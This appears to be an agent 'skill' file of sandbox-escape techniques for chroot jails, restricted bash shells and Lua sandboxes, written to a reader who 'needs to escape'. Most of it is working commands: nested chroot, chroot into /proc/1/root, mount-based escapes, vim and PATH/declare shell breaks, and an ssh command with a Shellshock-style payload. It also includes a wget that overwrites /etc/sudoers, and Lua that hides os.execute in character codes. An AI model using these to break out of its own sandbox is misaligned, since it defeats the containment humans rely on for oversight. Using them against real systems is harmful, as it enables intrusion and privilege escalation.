Linux Jail Escape Techniques

This skill provides methods for escaping from various Linux sandboxing mechanisms including chroot jails, restricted bash shells, and interpreted language sandboxes.

When to Use This Skill

• You're inside a chroot jail and need to escape
• You have a restricted bash shell with limited commands
• You're in a Python or Lua sandbox and need command execution
• You're analyzing security controls that use chroot or shell restrictions
• You need to enumerate what escape vectors are available in your current environment

GTFOBins Reference

Always check GTFOBins for binaries with "Shell" properties that can help you escape. Search for any executable you have access to.

Chroot Escapes

Chroot is not designed to defend against privileged (root) users. Most escape techniques require root access inside the chroot.

Tool: chw00t

The chw00t tool automates many chroot escape scenarios. Use it if available.

Method 1: Root + CWD (Working Directory)

If you're root inside a chroot, you can escape by creating a nested chroot:

# Create a new directory
mkdir chroot-dir

# Chroot into it (you're now outside the new chroot)
chroot chroot-dir

# Navigate back up the filesystem
for i in {1..1000}; do cd ..; done

# Chroot into the real root
chroot .

# Get a shell
/bin/bash

Script: Use

scripts/break_chroot.py

for an automated version.

Method 2: Root + Saved File Descriptor

Store a file descriptor to the current directory before chrooting:

# Save FD to current directory, then chroot elsewhere
# Use the saved FD to escape

See

scripts/break_chroot.c

for the C implementation.

Method 3: Root + Fork + Unix Domain Sockets

1. Fork a child process
2. Create a Unix Domain Socket for parent-child communication
3. Chroot the child to a different folder
4. Parent creates an FD to a folder outside the child's chroot
5. Pass the FD to the child via the socket
6. Child uses the FD to escape

Method 4: Root + Mount

# Mount the real root into a directory inside the chroot
mount / /mnt/real-root

# Chroot into that directory
chroot /mnt/real-root

Method 5: Root + /proc

# Mount procfs if not already mounted
mount -t proc proc /proc

# Find a process with a different root
ls -la /proc/*/root

# Chroot into that process's root
chroot /proc/1/root

Method 6: Root + Fork + Directory Move

1. Fork a child and chroot it deep in the filesystem
2. From parent, move the child's directory to a location before the chroot
3. Child finds itself outside the chroot

Method 7: ptrace

If ptrace is available, you can inject shellcode into another process:

# Debug another process and execute shellcode
# See linux-capabilities.md for CAP_SYS_PTRACE details

Bash Jail Escapes

Step 1: Enumerate the Environment

# Check your shell
echo $SHELL

# Check PATH
echo $PATH

# List all environment variables
env
export

# Check current directory
pwd

# List files
ls -la

Script: Use

scripts/bash_escape_check.sh

for automated enumeration.

Step 2: Modify PATH

# Try to change PATH to include more directories
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
export PATH

# List files to verify access
echo /home/*

Step 3: Use vim to Escape

vim
:set shell=/bin/sh
:shell

Step 4: Create Executable Script

# Create a file with /bin/bash as content
red /bin/bash
> w wx/path  # Write to a writable, executable path

Step 5: SSH Tricks

If accessing via SSH:

# Get interactive shell directly
ssh -t user@<IP> bash

# Alternative methods
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "

Step 6: Declare Variable

# Use declare to modify PATH
declare -n PATH; export PATH=/bin; bash -i

# Or use BASH_CMDS
BASH_CMDS[shell]=/bin/bash; shell -i

Step 7: Wget to Overwrite Files

# Overwrite sudoers or other config files
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers

Python Jail Escapes

See the Python sandbox bypass techniques in your reference materials for detailed methods.

Lua Jail Escapes

Command Execution via Eval

-- Execute a command using os.execute
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()

Call Functions Without Dots

-- Access string.char without using dots
print(rawget(string, "char")(0x41, 0x42))

-- Enumerate all functions in a library
for k,v in pairs(string) do print(k,v) end

Brute Force Function Discovery

Since function order changes between environments:

-- Brute force to find specific functions
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end

Get Interactive Lua Shell

-- Get a new, potentially unlimited lua shell
debug.debug()

References

• GTFOBins
• chw00t
• Restricted Linux Shell Escaping Techniques
• SANS: Escaping Restricted Linux Shells
• Chw00t DeepSec Slides

Quick Reference

Environment	Key Escape Method
Chroot (root)	Nested chroot, /proc, mount
Bash jail	vim, PATH modification, declare
Lua	debug.debug(), os.execute
Python	See Python sandbox bypass docs
Any	Check GTFOBins for available binaries